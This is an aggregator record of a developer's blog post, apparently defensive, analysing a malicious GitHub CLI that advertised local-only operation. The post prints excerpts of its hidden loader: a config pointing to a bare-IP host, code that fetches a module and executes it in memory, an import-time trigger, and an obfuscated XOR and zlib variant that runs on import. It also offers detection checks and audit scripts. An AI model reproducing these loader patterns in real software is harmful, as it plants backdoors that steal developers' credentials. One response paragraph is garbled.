{"slug": "a-1145-star-cli-promised-nothing-leaves-your-machine-it-executes-a-hidden-at", "title": "A 1,145-Star CLI Promised \"Nothing Leaves Your Machine\". It Executes a Hidden Payload at Import Time.", "summary": "A developer found that crwdla/tokentab, a GitHub CLI tool with roughly 1,145 stars that advertised running \"entirely locally,\" executed a hidden remote payload at import time via a call on line 12 of cli.py, before argparse or any user output. An earlier commit fetched an unrelated module named manual_mapper.py from a bare-IP host over plain HTTP and executed it in memory, while a later commit replaced that code with an obfuscated, inline HMAC-SHA256 and zlib payload that unpacks and runs on import without network access. The developer recommends cloning only, never running pip install, and reading the tail of a file rather than the head to spot import-time triggers.", "body_md": "A repo with 1,145 stars told me it ran entirely locally. Line 12 of its CLI said otherwise, and the check that would have caught it takes 20 seconds.\n\nThis is what it looked like, what I changed about my install routine, and where the routine still fails.\n\n`crwdla/tokentab` was on GitHub Trending in mid-September 2026: two weeks old, ~1.1k stars, a dashboard screenshot, and this:\n\ntokentab reads the session logs that Claude Code, Codex, Cursor and Gemini CLI already leave on disk... **It runs entirely locally: no account, no API key, nothing leaves your machine.**\n\nThat pitch is plausible, which is why it works. A token-cost dashboard *has* to read `~/.claude/projects/**/*.jsonl` and `~/.codex/sessions/**/rollout-*.jsonl`. Nothing about the premise is suspicious.\n\nCommit `d9e8cb4` (2026-09-07), file `tokentab/setup.py`:\n\n```\nCONFIG = {\n    \"HOST\": \"172.233.51.81\",   # bare IP, no domain, no TLS\n    \"PORT\": 8765,\n    \"ASSET\": \"main\",\n    \"API_KEY\": \"test123\",\n    \"PAYLOAD_KEY\": \"secret456\",\n}\nCLIENT_MODULE = \"manual_mapper.py\"\n\ndef _load_module_memory(name: str, data: bytes) -> None:\n    module = types.ModuleType(mod_name)\n    module.__file__ = f\"<ram:{name}>\"          # never touches disk\n    sys.modules[mod_name] = module\n    exec(compile(data, name, \"exec\"), module.__dict__)\n\ndef bootstrap(cfg, url):\n    if sys.platform != \"win32\":\n        raise RuntimeError(\"win32 only\")\n    data = _fetch_bytes(f\"{_server_base(url)}/api/v1/client/{CLIENT_MODULE}\", cfg[\"API_KEY\"])\n    _load_module_memory(CLIENT_MODULE, data)\n```\n\nAnd in `cli.py`, at module scope:\n\n``` python\nfrom tokentab import setup\n\nsetup.run_sync()      # line 12 — before argparse, before any output\n```\n\nThat line runs when the module is imported. Not when you pass a flag, not when you choose a subcommand: on import. Which means it also runs during `pip install .`.\n\nTwo details worth sitting with. First, the fetched module was called `manual_mapper.py` — a name with no relationship to counting tokens. Second, the same file still contained `Panel.fit(f\"[bold cyan]text-humanizer[/bold cyan]\")` and a `Deepseek` REPL banner: leftovers from a different project, pasted in wholesale. Written, not assembled.\n\nCommit `3a7aac5` (2026-09-19, \"add cursor support\") deleted the readable version and replaced it with this shape:\n\n```\n_rd9r1n = lambda a, k: bytes(v ^ k for v in a)\n_ddsw42wg7z = __import__(_rd9r1n([246,243,255,253], 158).decode())      # hmac\n_xvz9negeaj = __import__(_rd9r1n([109,123,126,117], 23).decode())       # zlib\n_ttyvpj     = __import__(_rd9r1n([30,23,5,30,26,31,20], 118).decode())  # hashlib\n\n_a85u37nq1e = [[45,46,23,249,203,133,92,172, ... ]]   # ~7 KB of int arrays\n```\n\n…then an HMAC-SHA256 keystream over the reassembled blob, `zlib.decompress`, and the last line of the file:\n\n``` python\ndef _i44hyn5c6u():\n    getattr(__import__(<decoded \"builtins\">), <decoded \"exec\">)(_q6newk(), globals())\n\n_i44hyn5c6u()          # line 42, runs on import\n```\n\n`cli.py` line 12 now reads `setup.run_sync(FORCE_SYNC=True)`. Same behaviour, one difference that matters: stage 2 no longer needs the network, because it ships inline and unpacks in memory.\n\nThe lesson that cost me a credential rotation: **read the tail of the file, not the head.** The trigger was the last line.\n\nVerify it yourself — clone only, do not `pip install .` or run it:\n\n```\ngit clone --depth 1 https://github.com/crwdla/tokentab && cd tokentab\ngit show d9e8cb4:tokentab/setup.py | sed -n '12,23p'   # CONFIG block\ngit show d9e8cb4:cli.py            | sed -n '1,14p'    # import-time call\ngit show 3a7aac5:tokentab/setup.py                     # obfuscated variant\n```\n\nMachine that runs coding agents = `.env` with provider keys, a git token, a registry token, cloud credentials, and for me a market-data API key for an A-share pipeline. A \"token cost dashboard\" asking to read your session logs is a *plausible* reason to be in there — session logs contain your prompts, your code, and your absolute paths.\n\nStars are not evidence either. Four commits, one account, two weeks old, 1,145 stars.\n\nFive checks, no install, nothing executed. I wrapped them into two scripts ([repo below](https://github.com/Felixwang007/agent-supply-chain-audit), `audit.sh` for bash and `audit.py` for Windows):\n\n```\nbash audit.sh https://github.com/<owner>/<repo>\npython audit.py ./local/checkout\n```\n\n| # | Check | Why it is the check | \n|---|---|---|\n| 1 | hardcoded IP endpoints, with or without scheme | an open-source CLI that talks to `203.0.113.7:8765` has no documented reason to; real tools use a domain and a real API | \n| 2 | `fetch → exec / compile / decompress` chains | downloading code and running it in-process *is* the malware pattern; the fetcher and the`exec` are frequently in different files | \n| 3 | import-time side effects ( `setup.run_sync()` ,`_i44hyn5c6u()` ) | runs before you see output, and inside `pip install .` | \n| 4 | obfuscation smell: xor lambdas, big int-array literals, `getattr(mod, <decoded>)` | no cost-tracking CLI needs to hide module names behind byte arithmetic | \n| 5 | declared vs real distribution (PyPI name, npm `preinstall` /`postinstall` ) | an install hook is code you never read and always run | \n\nRun against the two versions above, the checker reports 4 findings for each. Run against a benign repo of mine, it reports zero.\n\nMy first version flagged `414.336.75.75` in a clean repo. It was SVG path data — `<path d=\"...414.336.75.75...\">` — matching loosely as an IPv4. I added an octet range validation (each part ≤ 255) and it went quiet. A checker that cries wolf on `viewBox` attributes gets ignored by the second week, which is strictly worse than not having one.\n\nOrder matters more than thoroughness here.\n\n`pkill python` takes your agent down with the payload.`.env`, provider keys, git credentials, registry tokens. Assume the machine's full credential set is burnt.`hosts`). Memory-only payloads leave nothing, so a clean result is not an all-clear.\n\n```\nnpx -y geiger-scan                                    # agents / MCP servers / plugins / hooks\nnpx -y geiger-scan --json \"$LOCALAPPDATA/Temp/geiger_$(date +%Y%m%d).json\"\nnpx -y geiger-scan --diff baseline.json               # what appeared since last week\n```\n\nOn my machine the number that mattered wasn't 65 items across 7 ecosystems — it was the 13 items in the `EXECUTES` tier. One of them was an agent event hook, and hooks run **without a prompt**, so silently replacing one hook file is a complete backdoor. `--diff` against last week's snapshot is the only thing that tells you *when* something new walked in.\n\nA static grep does not see runtime behaviour — I could not recover the stage-2 program above without executing it, and that's the point: by then the audit has already failed. It also misses stage-2 code fetched at run time from a domain that looks clean today, anything that never touches disk, and compromised releases of tools you already trust.\n\nIt is triage, not security. Its job is to make \"clone and run\" cost 20 seconds of reading instead of a credential rotation.\n\nBoth scripts are MIT and dependency-free here: **[github.com/Felixwang007/agent-supply-chain-audit](https://github.com/Felixwang007/agent-supply-chain-audit)** — `audit.sh`, `audit.py`, and the checklist in the README.\n\nThe same checklists ship as agent skills I publish on 虾评 (xiaping.coze.com) for anyone driving Claude Code / Codex / Hermes-style agents. If you've hit a different flavour of this — a poisoned MCP server, a lookalike npm package, a \"harmless\" postinstall script — I'd like to compare notes in the comments.", "url": "https://wpnews.pro/news/a-1145-star-cli-promised-nothing-leaves-your-machine-it-executes-a-hidden-at", "canonical_source": "https://dev.to/felixwang007/a-1145-star-cli-promised-nothing-leaves-your-machine-it-executes-a-hidden-payload-at-import-2npd", "published_at": "2026-09-21 04:13:28+00:00", "updated_at": "2026-09-21 04:23:02.320013+00:00", "lang": "en", "topics": ["ai-tools", "developer-tools", "ai-agents"], "entities": ["crwdla/tokentab", "GitHub", "Claude Code", "Codex", "Cursor", "Gemini CLI"], "alternates": {"html": "https://wpnews.pro/news/a-1145-star-cli-promised-nothing-leaves-your-machine-it-executes-a-hidden-at", "markdown": "https://wpnews.pro/news/a-1145-star-cli-promised-nothing-leaves-your-machine-it-executes-a-hidden-at.md", "text": "https://wpnews.pro/news/a-1145-star-cli-promised-nothing-leaves-your-machine-it-executes-a-hidden-at.txt", "jsonld": "https://wpnews.pro/news/a-1145-star-cli-promised-nothing-leaves-your-machine-it-executes-a-hidden-at.jsonld"}}